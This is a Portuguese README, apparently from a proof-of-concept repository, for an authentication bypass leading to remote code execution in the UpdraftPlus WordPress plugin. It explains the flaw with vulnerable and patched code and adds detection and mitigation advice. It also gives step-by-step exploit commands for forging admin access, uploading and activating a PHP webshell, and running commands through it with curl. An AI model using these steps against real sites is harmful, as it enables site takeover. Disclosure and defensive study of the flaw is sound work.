
CVE-2026-10795 – UpdraftPlus Bypass de Autenticação
CVE-2026-10795 – Bypass de Autenticação no UpdraftPlus
⚠️ Aviso: Este repositório é apenas para fins educacionais.
Use apenas em sistemas que você possui ou tem permissão explícita para testar.
O autor não se responsabiliza por qualquer uso indevido.
| Campo | Detalhes |
|---|---|
| Plugin | UpdraftPlus: WP Backup & Migration |
| Versões Afetadas | ≤ 1.26.4 |
| Versão Corrigida | 1.26.5 |
| Pontuação CVSS | 8.1 (Alta) |
| Tipo de Vulnerabilidade | Bypass de Autenticação Não Autenticado → RCE |
| Descoberto por | vtim (Wordfence Bug Bounty) |
| Recompensa | $5.200 |
O UpdraftPlus registra um ouvinte RPC não autenticado a cada carregamento de página para sites conectados ao UpdraftCentral.
A função decrypt_message() não valida o valor de retorno de $rsa->decrypt().
Quando a descriptografia RSA falha, false é passado para Rijndael::setKey(), que colapsa em uma chave AES-128 determinística de todos zeros.
Um atacante pode:
udrpc_message criptografada com a chave zero// updraftplus/includes/class-remote-communications-v2.php
// Linhas 460-491 (versão 1.26.4)
$sym_key = $rsa->decrypt($sym_key);
// ❌ Nenhuma verificação do valor de retorno!
$rij->setKey($sym_key); // false → chave de todos zeros
return $rij->decrypt($ciphertext);
$sym_key = $rsa->decrypt($sym_key);
// ✅ Adicionado na 1.26.5
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
updraftplus-auth-bypass/
├── README.md
├── poc.py # Script de exploit principal
├── requirements.txt # Dependências Python
├── payloads/
│ ├── list_plugins.py # Listar plugins instalados
│ ├── upload_shell.py # Fazer upload do webshell
│ └── activate_plugin.py # Ativar plugin enviado
├── shell/
│ ├── build_shell.py # Montar o ZIP do webshell
│ └── test-shell.php # Webshell PHP mínimo
└── docs/
├── technical-analysis.md
└── patch-diff.md
git clone https://github.com/seunome/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt
requirements.txt
requests==2.31.0
pycryptodome==3.20.0
https://www.apachefriends.org
Iniciar: Apache + MySQL
# Colocar o WordPress no htdocs
C:/xampp/htdocs/wordpress/
# Instalar a versão vulnerável do plugin
# Download: https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4
WordPress Admin → Configurações → UpdraftPlus → guia UpdraftCentral → Conectar
⚠️ Obrigatório: O site deve estar conectado ao UpdraftCentral para que a vulnerabilidade seja explorável.
python poc.py --url http://localhost/wordpress/ --user-id 1
python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins
# Passo 1: Construir o ZIP do shell
python shell/build_shell.py
# Passo 2: Fazer upload
python poc.py --url http://localhost/wordpress/ --cmd upload_shell
# Passo 3: Ativar
python poc.py --url http://localhost/wordpress/ --cmd activate_shell
# Passo 4: Testar RCE
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"
poc.py
│
├─ 1. Criar sym_key RSA criptografada malformada (bytes lixo)
│
├─ 2. Criptografar payload RPC com chave AES-128 ZERO (0x00 * 16)
│
├─ 3. Montar udrpc_message:
│ [tamanho hex de 3 bytes][sym_key falsa][tamanho cifrado hex 16 bytes][ciphertext]
│
├─ 4. POST para o alvo (sem auth, sem nonce, sem cookies necessários)
│
└─ 5. Lado do servidor:
rsa->decrypt(lixo) → false
setKey(false) → chave 0x00
decrypt(ciphertext)→ nosso payload ✅
wp_set_current_user() → acesso admin
Comando RPC executa → RCE 💀
Atualize o UpdraftPlus para a versão 1.26.5 imediatamente.
# Procure por requisições POST suspeitas com udrpc_message
grep "udrpc_message" /var/log/apache2/access.log
# Usuários do Wordfence estão protegidos desde 3 de junho de 2026
- Instalações inesperadas de plugins
- Novos arquivos PHP em wp-content/plugins/
- Requisições POST para a raiz do WordPress com parâmetro udrpc_message
- Ações de nível admin inesperadas nos logs do WordPress
Licença MIT – Apenas para uso educacional.
O uso não autorizado contra sistemas que você não possui é ilegal.
| Data | Evento |
|---|
| 1 de junho de 2026 | Vulnerabilidade submetida via Wordfence Bug Bounty |
| 3 de junho de 2026 | Validada e divulgada ao fornecedor |
| 3 de junho de 2026 | Regra de firewall Wordfence Premium implantada |
| 4 de junho de 2026 | Fornecedor confirmou recebimento |
| 5 de junho de 2026 | Patch lançado (v1.26.5) |
| 3 de julho de 2026 | Proteção gratuita do Wordfence ativada |